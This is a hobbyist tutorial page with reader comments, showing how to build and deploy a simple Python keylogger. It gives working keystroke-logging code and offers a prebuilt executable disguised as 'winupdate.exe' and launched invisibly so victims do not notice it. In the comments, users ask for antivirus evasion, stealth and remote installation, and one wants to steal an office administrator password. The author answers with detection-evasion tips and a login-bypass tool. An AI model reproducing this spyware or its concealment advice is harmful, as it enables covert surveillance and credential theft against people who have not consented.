Simple Keylogger

84,310

38

46

About: Hello, my name is xp4xbox, a really old name that really has nothing to do with xbox consoles. Anyway I enjoy making programs and have several instructables on some of them. So far, I know VBScript, Batch, P...

I have recently been making a much more advanced keylogger that can even send logs via gmail or ftp. So if you are interested, check the github project.

This is a simple keylogger that I made using python. I tried to make one in batch or vbs, but it is practically impossible. So I had to use python.

You all see on the internet, keyloggers, an then you download it and install it to spy or monitor someone (Windows 10 even has a built-in keylogger) . But the problem is, is that you probably also installed a ton of virus of other junk in the process.

I will show you how to make your own, or you can download mine below:

Step 1: Installing Python...

Unless you already downloaded my file with the keylogger pre-compiled (skip to step 4), you must install python and some modules. Download and install the following:

Python 2.7

PyHook

Pywin32

Step 2: Creating the Code...

Once you have all of the python stuff installed, open up idle and create a new script. Then enter in the following code:

import pyHook, pythoncom, sys, logging

# feel free to set the file_log to a different file name/location

file_log = 'keyloggeroutput.txt'

def OnKeyboardEvent(event): logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') chr(event.Ascii) logging.log(10,chr(event.Ascii)) return True hooks_manager = pyHook.HookManager() hooks_manager.KeyDown = OnKeyboardEvent hooks_manager.HookKeyboard() pythoncom.PumpMessages()

Then save it as something.pyw

Step 3: Test...

Now double-click on the file you just created and test it out, then start typing.

When you want to stop logging, open up task manager and kill all the "python" processes. Then look for keyloggeroutput.txt in the same directory were the something.pyw is. Open it up and you should see whatever you typed.

NOTE: You may see some weird looking character if you open it with notepad, those characters means you hit the backspace key.

This is the end of the instructable for you. BUT if you want to see my keylogger, continue on...

If you have any questions/concerns please pm me or post a comment.

Step 4: My Keylogger

First extract keylogger.rar and open up the folder with the files.

You should see a bunch of random files, this is because when you compile a python program to a standalone .exe, you need all these files in the same directory as the program.

The only important files are "Run.vbs" and "winupdate.exe". winupdate.exe is the actual keylogger program. The reason why it is called "winupdate", is so nothing looks suspicious if the user opens up task manager.

For some reason when you compile a python program to a .exe, you don't have any option to make it run invisible, so to fix this, I created a small vbscript file called Run.vbs which simply launches winupdate.exe invisibly.

Step 5: Test...

Double click on Run.vbs and the program will start automatically. When you want to stop logging, open up task manager and kill winupdate.exe. Then open up keyloggeroutput.txt, and you will see that all the characters that you have typed are logged.

NOTE: You may see some weird looking character if you open it with notepad, those characters means you hit the backspace key.

Step 6: Hope You Found This Helpfull

Hope you found this helpful. If you have any questions/concerns please pm me or post a comment.

Have fun keylogging, but please don't use this program maliciously.

Share

Recommendations

  • Arduino Contest 2019

    Arduino Contest 2019
  • IoT Challenge

    IoT Challenge
  • Gardening Contest

    Gardening Contest

46 Discussions

0
None
dauphinet

Question 18 days ago

It is not working for me: I've downloaded and installed all mentioned programs:
python-2.7.13.amd64
pyHook-1.5.1.win32-py2.7
pywin32-219.win-amd64-py2.7

but is not creating an output file on my desktop.
I would also like to customize the keylogger in such way it will send the logs to an email address.

The ideal keylogger should have according to me the following features:
1- Undetectable by all antivirus
2- Can be installed with one click (keylogger hidden on a file) from a USB installed on the targeted PC.
3- Can be installed also remotely (for ex. by sending mail with a link to click on)
4- Can be removed remotely or self removed
5- Can send logs/reports (keystrokes, passwords, screen captures...) to a defined email address and FTP
6- Runs in stealth mode (doesn't appear in task manager and program list).
7- Supports Windows/MacOS
Can someone help me please?

2 answers
0
None
dauphinetxp4xbox

Reply 17 days ago

hi bro,

I already tried but I don't get an output file and it is urgent.
Could you please set me a keylogger that will send the data to my email address?

I would like it to have this features:
1- Undetectable by all antivirus
2- Can be installed with one click (keylogger hidden on a file/package) from a USB installed on the targeted PC.
3- Can be installed also remotely (for ex. by sending mail with a link to click on)
4- Can be removed remotely or self removed
5- Can send logs/reports (keystrokes, passwords, screen captures...) to my email address (and eventually FTP)
6- Runs in stealth mode (doesn't appear in task manager and program list).
7- Supports Windows (and MacOS eventually).

Thank you so much!!!
0
None
InstructableSryn

25 days ago

I tried this using 3.7.3 Anaconda and got it working, although it didn't capture my login username and password, which was my main aim. Also I used PyInstaller to make the exe, as per DannyB139. PyWin32 came with Anaconda but you'll need the right PyHook to work with the Anaconda version. Strangely, VS Code complained "Module 'pythoncom' has no 'PumpMessages' member", but the code will work when compiled. Note that the Python Debugger on VS Code 1.33.1 will not save any keypresses into the output file, even though it creates the file upon start of Debugging.

1 reply
0
None
NitinR21

2 months ago

I went through your advanced github project, i was able to do as you said,but was not able to do the meterpreter plugin(the whole process thing) using the raw shellcode(msfvenom), can you please do a tutorial for that or else can you please provide the file to download,i am new to this and one my friend is teaching me so i don't know much, can you please help me with this. :)

1 reply
0
None
DannyB139

4 months ago on Step 4

(Note : “—“ is just 2 dashes, no spaces.)
Actually, you can compile without any windows popping up. I do it all the time.
To compile a .py file without any cmd windows popping up (even if it has print statements or whatever) simply use Pyinstaller and use the “—windowed” flag.

To install Pyinstaller(you should have pip already installed. It comes with the Python install):

pip install pyinstaller

To compile the .py to a silent .exe (I recommend the “—onefile” flag as it can then run on any computer even if it doesn’t have the extra modules/Python at all):

pyinstaller —onefile —windowed [Your Python File]

I also recommend opening cmd in the dir of the file when you compile it to make it easier to find the .exe.

Happy compiling! : )

1 reply
0
None
xp4xboxDannyB139

Reply 4 months ago

You can do the same with py2exe which is actually preferred because it gives lower detection. I made this instructable before I knew how though.

0
None
Allukidshere123

6 months ago

Look at all you braindead kids trynna get keylogger working yet u dont know how to open a book...

0
None
DiegoC206

Question 8 months ago

Lo ejecuto en windows 10, pero no hace nada, no ejecuta tampoco en las tareas de windows. funciona en windows 10?

0
None
Killuminati_77

Question 9 months ago on Step 5

I downloaded your version of the program because I really dont know much about programing. It seemed to set up fine, I can see it running in task manager but nothing is getting logged in the keylogger file. It's just blank with a letter u and m. I'm using Windows 10 and a older hp laptop.

1 answer
0
None
xp4xboxKilluminati_77

Reply 9 months ago

I am not sure, if it is still running then it should log characters. Are you using an different language keyboard?

0
None
LandalSeemsCool

Question 9 months ago

Hey, I had downloaded the keylogger you created and added my own stuff. I had set it up so the vbs file is downloaded into the startup file of the computer and the other files are hidden in a folder. Yet when I turn on the computer the vbs file can not find the logger, even with the right path typed in.

0
None
xPete

Question 10 months ago

So, did you make the more advanced one?

1 answer
0
None
binary generation

Question 1 year ago

i have downloaded everything necessary and copied the script word for word and yet whenever i attempt to to run the script it says that py hook was not defined what does this mean and how do i fix it

thank you in advance

1 answer
0
None
xp4xboxbinary generation

Answer 1 year ago

Try re-installing pyhook and make sure you install the correct one for your python version.

0
None
JayeshM22

Question 1 year ago on Step 6

That's fine. But i need to get admin password using the program. The logger is not logging when admin username and password is typed. that is, in my office they have put admin password for everything on my system, for eg: u require admin password for installing a software or making any major changes. I need to get this username ad password. But the program doenot log this on. Otherwise the program is fine. Could u pls help me with this as well. Because i really need the admin username and password.

1 answer
0
None
xp4xboxJayeshM22

Answer 1 year ago

This program cannot really help you with that, unless somebody is typing it in while it is running, I would suggest just using something like KonBoot.